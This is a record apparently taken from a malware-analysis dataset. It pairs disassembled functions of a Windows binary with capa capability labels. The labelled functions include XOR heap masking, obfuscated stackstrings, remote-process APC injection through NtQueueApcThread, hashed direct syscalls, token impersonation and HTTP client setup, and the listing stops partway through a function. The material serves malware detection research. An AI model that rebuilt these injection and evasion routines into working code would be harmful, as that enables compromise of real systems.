joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005da0
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push r12
push r14
push r15
sub rsp, 0x30
mov r14, qword [0x140058060]
xor r12d, r12d
cmp qword [0x140058068], r12
mov r15d, r12d
jne 0x140005dd1
mov ecx, 0x100000
call fcn.140028a64
mov qword [0x140058068], rax
test r14, r14
je 0x140005fe1
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r13
mov r13d, 0xffffc
nop dword [rax]
cmp dword [r14 + 4], 1
jne 0x140005fb8
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_htonl]
lea r8, [rsp + 0x50]
mov edx, 0x4004667f
mov ecx, eax
mov rax, qword [0x140058068]
mov dword [rax], ecx
mov dword [rsp + 0x50], r12d
mov rcx, qword [r14 + 0x1c]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov edi, dword [rsp + 0x50]
cmp edi, r13d
cmova edi, r13d
mov dword [rsp + 0x50], edi
cmp eax, 0xffffffff
jne 0x140005e9b
cmp dword [0x14005c344], 1
mov rcx, qword [0x140058068]
mov dword [r14 + 4], r12d
jne 0x140005fa8
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x140005fa8
mov edx, dword [rax + 0x1c8]
test edx, edx
je 0x140005fa8
cmp edx, 4
jb 0x140005f95
mov r9d, 1
jmp 0x140005fab
test edi, edi
je 0x140005fb8
mov rcx, qword [0x140058068]
mov rsi, qword [r14 + 0x1c]
lea rbp, [rcx + 4]
jg 0x140005eb9
mov ebx, r12d
jmp 0x140005f25
xor r9d, r9d
mov r8d, edi
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
cmp eax, 0xffffffff
je 0x140005ef5
cmp ebx, edi
jge 0x140005f11
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rbp
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
add ebx, eax
cmp eax, 0xffffffff
jne 0x140005ed2
mov edx, 2
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140005e4c
cmp ebx, 0xffffffff
je 0x140005e4c
mov edi, dword [rsp + 0x50]
mov rcx, qword [0x140058068]
cmp ebx, edi
jne 0x140005fb8
add edi, 4
cmp dword [0x14005c344], 1
jne 0x140005f81
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x140005f81
movsxd r8, dword [rax + 0x1c8]
test r8d, r8d
je 0x140005f81
movsxd rdx, edi
cmp rdx, r8
mov r8d, 5
ja 0x140005f72
lea r9d, [r8 - 4]
call fcn.140009930
inc r15d
jmp 0x140005fb8
mov rdx, rcx
mov ecx, edi
call fcn.140009a20
inc r15d
jmp 0x140005fb8
xor r9d, r9d
movsxd rdx, edi
lea r8d, [r9 + 5]
call fcn.140009930
inc r15d
jmp 0x140005fb8
mov r8d, 4
mov rdx, rcx
mov ecx, r8d
call fcn.140009a20
jmp 0x140005fb8
xor r9d, r9d
mov edx, 4
mov r8d, edx
call fcn.140009930
mov rcx, qword [r14 + 0x24]
mov r14, rcx
test rcx, rcx
jne 0x140005e00
mov r13, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov eax, r15d
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x140006230
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
je 0x140006333
nop dword [rax]
test byte [rsp + 0x2e], 4
je 0x14000631d
mov ecx, dword [rsp + 0x28]
xor edx, edx
mov r9, qword [rsp + 0x20]
test rcx, rcx
je 0x14000631d
cmp rcx, 0x40
jb 0x1400062fe
movdqa xmm2, xmmword [str.DDDDDDDDDDDDDDDDC:ProgramDataPnnnnnnnnnnnnnnnn_]
lea rax, [r9 + 0x20]
mov r8d, ecx
and r8, 0xffffffffffffffc0
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rdx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
cmp rdx, r8
jb 0x1400062b0
cmp rdx, rcx
jae 0x14000631d
lea rax, [rdx + r9]
sub rcx, rdx
nop word [rax + rax]
xor byte [rax], 0x44
lea rax, [rax + 1]
sub rcx, 1
jne 0x140006310
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
jne 0x140006270
add rsp, 0x50
pop rbx
ret
Function at 0x140006930
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rbx, rdx
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x60]
call fcn.1400295b0
mov edx, 0x20
mov byte [rbp + rbx - 0x60], 0
lea rcx, [rbp - 0x60]
call fcn.140022160
test rax, rax
je 0x14000697a
mov byte [rax], 0
inc rax
movdqa xmm0, xmmword [0x14004c560]
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x80], rcx
xor edi, edi
mov qword [rbp - 0x70], rax
lea rcx, [rsp + 0x60]
lea rax, [rbp + 0x3b8]
mov qword [rbp - 0x78], rcx
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x72676f72
mov dword [rsp + 0x74], 0x6c2e6d61
mov word [rsp + 0x78], 0x6b6e
mov byte [rsp + 0x7a], 0
mov dword [rbp + 0x3b8], 0x676f7250
mov word [rbp + 0x3bc], 0x6172
mov byte [rbp + 0x3be], WSAGetLastError
mov qword [rbp - 0x68], rax
mov qword [rbp + 0x3c0], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], rdi
lea rcx, [rbp + 0x3c0]
mov qword [rsp + 0x48], rdi
mov r9, rax
mov qword [rsp + 0x40], rdi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov dword [rsp + 0x30], edi
mov edx, 0x1fffff
mov qword [rsp + 0x28], rax
lea rax, [0x14000c6a0]
mov qword [rsp + 0x20], rax
call fcn.14000d710
mov rcx, qword [rbp + 0x3c0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [rdi + 0x10]
call fcn.140028a64
lea ecx, [rdi + 0x36]
mov rbx, rax
call fcn.140028a64
lea ecx, [rdi + 0xe]
mov qword [rbx], rax
call fcn.140028a64
mov rcx, qword [rbx]
mov qword [rbx + 8], rax
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x70]
movsd qword [rcx + 0x10], xmm1
movzx eax, word [rsp + 0x78]
mov word [rcx + 0x18], ax
movzx eax, byte [rsp + 0x7a]
mov byte [rcx + 0x1a], al
mov rax, qword [rbx + 8]
mov dword [rax], 0x6c656853
mov dword [rax + 4], 0x72545f6c
mov dword [rax + 8], 0x6e577961
mov word [rax + 0xc], 0x64
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], rdi
lea rcx, [rbp + 0x3c0]
mov qword [rsp + 0x48], rdi
mov r9, rax
mov qword [rsp + 0x40], rdi
lea rax, [0x14000c410]
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov dword [rsp + 0x30], edi
mov edx, 0x1fffff
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call fcn.14000d710
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400079b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rsi, r8
mov rbp, rdx
mov edi, ecx
test ecx, ecx
jg 0x1400079f0
test ecx, ecx
je 0x140007a34
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1400079d6
test eax, eax
je 0x140007a11
add ebx, eax
cmp ebx, edi
jl 0x140007a15
cmp ebx, edi
je 0x140007a34
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x140007a07
jmp 0x1400079d6
mov eax, edi
jmp 0x1400079db

Function at 0x140007f00
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
xor r14d, r14d
mov edi, r8d
mov dword [rsp + 0x60], r14d
mov rsi, rdx
mov rbp, rcx
mov ebx, r14d
test r8d, r8d
jg 0x140007f34
test r8d, r8d
jne 0x140007f7f
xor eax, eax
jmp 0x140007f84
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140007f7f
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140007f7f
add ebx, eax
cmp ebx, edi
jge 0x140007f7b
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
mov qword [rsp + 0x20], r14
add rdx, rsi
lea r9, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140007f48
jmp 0x140007f7f
mov eax, ebx
je 0x140007f84
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140009ec0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x60
xor ebx, ebx
lea rcx, [rsp + 0x78]
xor eax, eax
mov r9d, 0x220
mov word [rsp + 0x7c], ax
mov dl, 2
mov dword [rsp + 0x78], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x50], rax
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov byte [rsp + 0x7d], 5
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x70], eax
test eax, eax
jne 0x140009f22
add rsp, 0x60
pop rbx
ret
mov rdx, qword [rsp + 0x80]
lea r8, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x70]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x70], ecx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x70]
add rsp, 0x60
pop rbx
ret
Function at 0x14000a3d0
Capabilities:
Connect to http server
Create http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [0x140058f88], 0
mov rbx, r8
movzx esi, dx
mov dword [rsp + 0x68], 0x3a980
mov rbp, rcx
je 0x14000a405
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rax, qword [0x14005c350]
xor edi, edi
cmp word [rax + 0x10], 1
jne 0x14000a41b
movzx edx, word [rax + 0x18]
jmp 0x14000a41d
mov edx, edi
test dl, 8
mov ecx, 0x84c03200
mov edx, 0x84400200
cmove ecx, edx
cmp word [rax + 0x320], 1
mov dword [0x140058f98], ecx
jne 0x14000a451
cmp word [rax + 0x328], 1
jne 0x14000a451
bts ecx, 0x13
mov dword [0x140058f98], ecx
cmp word [rax + 0x230], 1
jne 0x14000a46d
cmp word [rax + 0x238], di
je 0x14000a46d
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14000a488
cmp word [rax + 0x200], 3
jne 0x14000a480
mov r8, qword [rax + 0x208]
jmp 0x14000a483
mov r8, rdi
mov edx, 3
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x140058fa8], rax
mov r9d, 4
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x140058fa8]
lea r8, [rsp + 0x68]
mov r9d, 4
lea edx, [r9 + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [0x140058f90]
xor r9d, r9d
mov rcx, qword [0x140058fa8]
movzx r8d, si
mov qword [rsp + 0x38], rax
mov rdx, rbp
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdx, qword [0x14005c350]
mov r10, rax
mov qword [0x140058fa0], rax
cmp word [rdx + 0x230], 1
jne 0x14000a5c4
cmp word [rdx + 0x238], 4
jne 0x14000a5c4
cmp word [rdx + 0x210], 3
mov rbx, 0xffffffffffffffff
mov rax, rbx
jne 0x14000a560
mov rcx, qword [rdx + 0x218]
nop
inc rax
cmp byte [rcx + rax], dil
jne 0x14000a550
mov r8, rcx
jmp 0x14000a56c
inc rax
cmp byte [rdi + rax], dil
jne 0x14000a560
mov r8, rdi
mov r9d, eax
mov edx, 0x2b
mov rcx, r10
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x14005c350]
cmp word [rcx + 0x220], 3
jne 0x14000a5a3
mov rax, qword [rcx + 0x228]
inc rbx
cmp byte [rax + rbx], dil
jne 0x14000a595
mov rdi, rax
jmp 0x14000a5ac
inc rbx
cmp byte [rdi + rbx], dil
jne 0x14000a5a3
mov rcx, qword [0x140058fa0]
mov r9d, ebx
mov r8, rdi
mov edx, 0x2c
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x140058f88]
test rcx, rcx
je 0x14000a5d6
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x14000a630
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x130
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x100
call fcn.140022720
xor edi, edi
mov dword [rsp + 0x148], 0x100
lea r9, [rsp + 0x148]
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x30]
mov rcx, rbx
lea edx, [rdi + 0x13]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x14000a696
lea rcx, [rsp + 0x30]
call fcn.14002aad0
cmp eax, 0xc8
sete dil
mov eax, edi
mov rbx, qword [rsp + 0x140]
add rsp, 0x130
pop rdi
ret
Function at 0x14000ac30
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rcx
xorps xmm0, xmm0
mov qword [rsp + 0x40], rax
xor r13d, r13d
mov dword [rsp + 0x50], 0x1c
lea rcx, str.ntdll
mov qword [rsp + 0x64], r13
movdqu xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x48], r13d
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueueApcThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
je 0x14000ad4b
mov r15, qword [r14]
lea rdi, [0x14000ab70]
mov qword [rsp + 0xb0], r12
mov rbx, rdi
lea r12, [0x14000ab20]
sub rbx, r12
lea rcx, [rbx + 0x1c]
call fcn.140028a64
mov r8, rbx
mov rdx, r12
mov rsi, rax
lea rcx, [rax + 0x1c]
call fcn.140022ae0
sub edi, r12d
mov dword [rsp + 0x20], 0x40
add edi, 0x1c
mov r9d, 0x3000
movsxd rbx, edi
xor edx, edx
mov r8, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, qword [rsp + 0xb0]
mov rdi, rax
mov qword [rsp + 0xb8], r13
test rax, rax
je 0x14000ad5c
lea rax, [rsp + 0xb8]
mov r9, rbx
mov r8, rsi
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000ad5c
cmp qword [rsp + 0xb8], rbx
je 0x14000ad5c
mov rcx, rsi
call fcn.140028a50
xor eax, eax
add rsp, 0x70
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rcx, rsi
call fcn.140028a50
test rdi, rdi
je 0x14000ad4b
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
test rax, rax
je 0x14000ad4b
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14000ad4b
nop
mov eax, dword [r14 + 0x10]
cmp dword [rsp + 0x5c], eax
jne 0x14000add1
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x14000add1
lea rdx, [rdi + 0x10]
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8, rdi
mov rcx, rax
call rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x14000ad90
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 0xc8
mov r8d, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rcx, qword [r14]
lea rax, [rsp + 0xc0]
mov r9d, 0x1c
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000ad4b
cmp qword [rsp + 0xc0], 0x1c
jne 0x14000ad4b
cmp dword [rsp + 0x48], r13d
jne 0x14000ae79
mov rcx, qword [r14]
lea rax, [rsp + 0xc0]
mov r9d, 0x1c
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
mov dword [rsp + 0x48], 1
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x14000ad4b
mov eax, 1
add rsp, 0x70
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000b3c0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14005c350]
xor r8d, r8d
mov r10, rdx
mov r11, rcx
cmp word [rax + 0x2b0], 1
jne 0x14000b3e8
movzx r9d, word [rax + 0x2b8]
jmp 0x14000b3eb
mov r9d, r8d
movzx ecx, word [rax + 0x2c0]
cmp cx, 1
jne 0x14000b401
movzx edx, word [rax + 0x2c8]
jmp 0x14000b404
mov edx, r8d
cmp r9w, dx
je 0x14000b44f
cmp cx, 1
jne 0x14000b418
movzx r8d, word [rax + 0x2c8]
movsx r8d, r8w
lea r9, [rsp + 0x40]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b44f
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea ecx, [r9 + 0x11]
call fcn.140009c20
xor eax, eax
add rsp, 0x28
ret
mov eax, 1
add rsp, 0x28
ret

Function at 0x14000b5a0
Capabilities:
Encode data using xor
Generate random numbers via winapi

Disassembly:
push rbx
push rdi
push r12
push r13
sub rsp, 0x38
xor edi, edi
mov dword [rsp + 0x20], 0xf0000020
mov r13d, edx
mov qword [rsp + 0x70], rdi
mov r12, rcx
lea r8, str.Microsoft_Base_Cryptographic_Provider_v1.0
xor edx, edx
lea rcx, [rsp + 0x70]
lea r9d, [rdi + 1]
mov ebx, edi
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x14000b604
lea r9d, [rdi + 1]
mov dword [rsp + 0x20], 0xf0000028
lea r8, str.Microsoft_Base_Cryptographic_Provider_v1.0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov ebx, eax
test eax, eax
je 0x14000b62f
mov rcx, qword [rsp + 0x70]
mov r8, r12
mov edx, r13d
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x70]
test eax, eax
cmove ebx, edi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test ebx, ebx
jne 0x14000b6db
mov qword [rsp + 0x30], r15
mov r15d, r13d
mov ebx, edi
test r13d, r13d
je 0x14000b6c8
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], r14
dec r15d
mov r14d, 8
xor bpl, bpl
nop dword [rax]
dec r14d
call fcn.14002abd4
mov esi, eax
call fcn.14002abd4
cmp esi, eax
jne 0x14000b67f
xor ebx, 1
call fcn.14002abd4
cmp esi, eax
je 0x14000b673
call fcn.14002abd4
mov esi, eax
call fcn.14002abd4
cmp esi, eax
jne 0x14000b69c
nop
xor edi, 1
call fcn.14002abd4
cmp esi, eax
je 0x14000b690
cmp ebx, edi
je 0x14000b663
add bpl, bpl
or bpl, bl
test r14d, r14d
jne 0x14000b660
mov rcx, r12
inc r12
mov byte [rcx], bpl
test r15d, r15d
jne 0x14000b651
mov r14, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov r15, qword [rsp + 0x30]
mov eax, r13d
add rsp, 0x38
pop r13
pop r12
pop rdi
pop rbx
ret
mov eax, ebx
add rsp, 0x38
pop r13
pop r12
pop rdi
pop rbx
ret
Function at 0x14000d710
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xa4bff665
call fcn.140001220
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14000d750
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x869976d5
call fcn.140001220
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14000df10
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000df5a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000df5a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000df5a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000df5a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000df5a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000df5c
xor al, al
add rsp, 0x28
ret
Function at 0x14000e200
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, r9
mov r14, r8
mov edi, edx
mov rbx, rcx
test rcx, rcx
jne 0x14000e23c
lea r8d, [rcx + 0x25]
lea rcx, str.in___NULL
lea rdx, str.srcmisc_base64_base64_encode.c
call fcn.140013d70
test r14, r14
jne 0x14000e258
lea r8d, [r14 + 0x26]
lea rdx, str.srcmisc_base64_base64_encode.c
lea rcx, str.out___NULL
call fcn.140013d70
test rsi, rsi
jne 0x14000e274
lea r8d, [rsi + 0x27]
lea rdx, str.srcmisc_base64_base64_encode.c
lea rcx, str.outlen___NULL
call fcn.140013d70
lea ecx, [rdi + 2]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
lea edx, [rdx*4 + 1]
cmp dword [rsi], edx
jae 0x14000e297
mov dword [rsi], edx
mov eax, 6
jmp 0x14000e3d1
mov r10, qword [rsp + 0x50]
xor r9d, r9d
mov eax, 0xaaaaaaab
mov qword [rsp + 0x30], rbp
mul edi
mov rcx, r14
mov ebp, r9d
shr edx, 1
lea edx, [rdx + rdx*2]
test edx, edx
je 0x14000e332
dec edx
mov eax, 0xaaaaaaab
mul edx
shr edx, 1
inc edx
mov r11d, edx
lea ebp, [rdx + rdx*2]
nop dword [rax]
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r10]
mov byte [rcx], al
movzx edx, byte [rbx]
movzx r8d, byte [rbx + 1]
shl edx, 4
shr r8d, 4
add r8d, edx
and r8d, 0x3f
movzx eax, byte [r8 + r10]
mov byte [rcx + 1], al
movzx eax, byte [rbx + 2]
movzx edx, byte [rbx + 1]
shr eax, 6
lea edx, [rax + rdx*4]
and edx, 0x3f
movzx eax, byte [rdx + r10]
mov byte [rcx + 2], al
movzx eax, byte [rbx + 2]
add rbx, 3
and eax, 0x3f
movzx eax, byte [rax + r10]
mov byte [rcx + 3], al
add rcx, 4
sub r11, 1
jne 0x14000e2d0
cmp ebp, edi
jae 0x14000e3c2
movzx r11d, byte [rbx]
lea r8d, [rbp + 1]
cmp r8d, edi
jae 0x14000e34c
movzx r9d, byte [rbx + 1]
mov edx, r9d
mov rax, r11
shr edx, 4
shr rax, 2
shl r11d, 4
add edx, r11d
and edx, 0x3f
movzx eax, byte [rax + r10]
mov byte [rcx], al
movzx eax, byte [rdx + r10]
mov byte [rcx + 1], al
add rcx, 2
cmp dword [rsp + 0x58], 0
je 0x14000e3ab
cmp r8d, edi
jae 0x14000e39b
and r9d, 0xf
shl r9d, 2
movsx edx, byte [r9 + r10]
mov byte [rcx], dl
mov byte [rcx + 1], 0x3d
add rcx, 2
jmp 0x14000e3c2
mov edx, 0x3d
mov byte [rcx], dl
mov byte [rcx + 1], dl
add rcx, 2
jmp 0x14000e3c2
cmp r8d, edi
jae 0x14000e3c2
and r9d, 0xf
shl r9d, 2
movzx edx, byte [r9 + r10]
mov byte [rcx], dl
inc rcx
mov rbp, qword [rsp + 0x30]
mov byte [rcx], 0
sub ecx, r14d
mov dword [rsi], ecx
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140012fc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov rbx, r9
mov ebp, r8d
mov rdi, rdx
mov rsi, rcx
test rcx, rcx
jne 0x140012ff4
lea r8d, [rcx + 0x1f]
lea rcx, str.pt___NULL
lea rdx, str.srcmodescbccbc_encrypt.c
call fcn.140013d70
test rdi, rdi
jne 0x140013010
lea r8d, [rdi + 0x20]
lea rdx, str.srcmodescbccbc_encrypt.c
lea rcx, str.ct___NULL
call fcn.140013d70
test rbx, rbx
jne 0x14001302c
lea r8d, [rbx + 0x21]
lea rdx, str.srcmodescbccbc_encrypt.c
lea rcx, str.cbc___NULL
call fcn.140013d70
mov ecx, dword [rbx]
call fcn.140013e10
test eax, eax
jne 0x140013157
mov r8d, dword [rbx + 4]
lea eax, [r8 - 1]
cmp eax, 0x7f
ja 0x140013056
xor edx, edx
mov eax, ebp
div r8d
mov r11d, eax
test edx, edx
je 0x140013068
mov eax, reloc.WS2_32.dll_recv
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop rdi
pop rsi
